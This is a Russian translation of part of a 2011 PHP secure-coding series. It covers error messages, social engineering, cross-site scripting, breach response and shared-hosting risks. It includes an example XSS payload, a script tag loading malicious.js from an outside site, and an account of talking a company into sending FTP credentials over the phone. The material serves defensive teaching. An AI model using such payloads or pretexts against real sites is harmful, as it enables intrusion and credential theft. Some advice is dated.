Статьи ⇒ PHP ⇒ Пишем безопасный код на PHP. Часть 3

Пишем безопасный код на PHP. Часть 3

Опубликовано: 14 сен 2011 в 11:58
Автор: Dave Child  Перевод: freeeeez 

В первой и второй частях я разбирал основные ошибки начинающих программистов PHP. В этой части я постараюсь разобрать вопросы безопасности немного глубже.

Пишем безопасный код на PHP представляет собой серию статей.
Читайте также Часть 1, Часть 2 и Часть 4.

Цена безопасности

Прежде чем начать, следует отметить, что на если вы разработали небольшой персональный сайт, который не несет конфиденциальной информации, и регулярно делаете бэкапы, то реальной пользы от расходов на безопасность (здесь я подразумеваю как материальные, так и физические ресурсы) для вас нет. Даже если злоумышленник взломает ваш сайт, вам наверняка хватит и десяти минут на восстановление данных из резервных копий. С другой стороны, если у вас коммерческий сайт, который обрабатывает платежи и данные ваших клиентов, вопрос безопасности должен быть первым в списке ваших приоритетов.

Длина поля в базе данных

Поля в базе данных всегда имеют определенный тип, и каждый из них имеет определенные пределы. Вы также можете самостоятельно ограничивать длину поля.

Однако, что произойдет, когда пользователь введет в поле больше символов, чем разрешено? В лучшем случае, если у вас отключены сообщения об ошибках, текст просто будет обрезан или не добавиться в базу данных (зависит от типа поля).

Помните, что для взломщика важна любая информация. Он должен знать все слабые места вашего проекта. Поэтому никогда не показывайте сообщения об ошибках на своих сайтах, иначе вы рискуете раскрыть информацию о структуре вашей базы данных и все потерять.

Наивность клиентов

Наивность ваших клиентов тоже является определенного рода риском для безопасности сайта. Я провел эксперимент — зашел на сайт одной компании, нашел имя разработчика сайта и позвонил в IT-отдел. Я представился знакомым того веб-мастера и попросил отправить мне на почту данные для доступа к FTP, якобы для отладки одного модуля. И они согласились без вопросов и колебаний. Страшно. Конечно же я рассказал им, что делаю и попросил более трепетно относиться к вопросам разглашения конфиденциальных данных, но таких компаний еще много.

Я продолжил поиски уязвимостей в интернет-сайтах и обнаружил несколько сайтов с открытой информацией для соединения к базе данных. Я указал на эти проблемы в безопасности администраторам ресурсов. Непонятно почему, но, ни один из тех, кому я писал так и не закрыл подобные ошибки. Такая беспечность меня поражает.

К сожалению, подобные проблемы безопасности не исправишь с помощью кода. Поэтому, если вы являетесь разработчиком сайтов, убедите своих клиентов, что не надо разглашать свои логины/пароли кому попало.

Внедрение кода (Cross-Site Scripting)

В отличие от SQL-инъекций, которые основываются на использовании уязвимостей запросов к базе данных, техника XSS опирается на недостаточной фильтрации форм. Проще говоря, злоумышленники используют текстовые поля для добавления HTML-кода или скриптов на вашу страницу.

Допустим, у вас есть система, которая позволяет пользователям регистрироваться у вас на сайте. Пользователи заполняют форму и создают свою страницу. Однако, кто-то ввел скрипт в поле имени:

Username<script type="text/javascript" src="http://www.website.com/malicious.js"></script>

Теперь любой, кто зайдет на его страницу, будет одновременно загружать вредоносный скрипт с другого сайта.

Это используется для внедрения на сайт клавиатурных шпионов или вставки ссылок на другие сайты. Есть несколько способов избавиться от этой проблемы. Самое лучшее обрабатывать входящие данные функцией htmlspecialchars(). Эта функция заменяет html-теги на их сущности и браузер не встраивает их в код, а отображает как обычный текст. Для удаления тегов существует функция strip_tags(), она удаляет все теги, которые не запрещены.

В совокупности с вышеперечисленным, следует ограничивать набор символов в имени пользователя. За это отвечает функция substr(). А для ограничения ввода только букв и цифр, следует использовать регулярные выражения.

Подробнее про межсайтовый скриптинг читайте в предыдущих статьях.

Последствия от взлома

Предположим, что взлом все-таки произошел. Базы данных были удалены, а конфиденциальные данные скомпрометированы (имена, номера кредитных карт, адреса). Первые что нужно сделать — это немедленно возобновить работу сайта, ведь многие компании за час простоя сайта теряют внушительные суммы.

Далее вы должны выяснить, как злоумышленник ворвался в вашу систему. Проверьте журналы и логи сервера, если у вас есть к ним доступ. Кроме того, не лишним будет анализ хакерских сайтов на предмет обнаружения своего сайта в списке уязвимых.

Естественно, если вы нашли уязвимость, через которую хакер прорвался на ваш сайт, нужно сразу же заняться ее устранением. Целесообразно для этих целей поставить index.html с примерным текстом "Идет профилактика, извините за временные неудобства" и поставить временный редирект на главную. Все это надо делать быстро, ведь хакеры любят выкладывать в своих блогах и на форумах взломанные сайты, поэтому будет не удивительно, что состояться другие взломы.

Виртуальный хостинг

Виртуальный хостинг намного дешевле, чем выделенный хостинг. На нем несколько сайтов размещены на одном сервере. В таком случае безопасность вашего сайта зависит не только от вас, но еще и от вашего хостинг-провайдера. Поэтому перед размещением своего сайта, внимательно изучите отзывы о качестве работы данного хостинга.

Уязвимости виртуального хостинга заключаются в плохо настроенном сервере, который позволить получить доступ к /etc/passwd и httpd.conf любому из сайтов находящихся на том же сервере.

Перед размещением сайта стоит убедиться работает ли сервер в режиме safe_mode. А еще лучше использовать выделенный сервер, если вы занимаетесь коммерческим проектом.

 

Источник: Add Bytes внешняя ссылка
Тэги:  • 
Нет комментариев
4 709 просмотров


Оставить комментарий:

Имя:
Email:
Сайт:
Комментарий:

Допустимые теги: <em> • <strong> • <u> • <sub> • <sup> • <blockquote>

Проверочный код:

Введите проверочный код, для подтверждения, что вы не робот.
P.S. Если вы робот, то, к сожалению, вы
не сможете прочитать символы с картинки.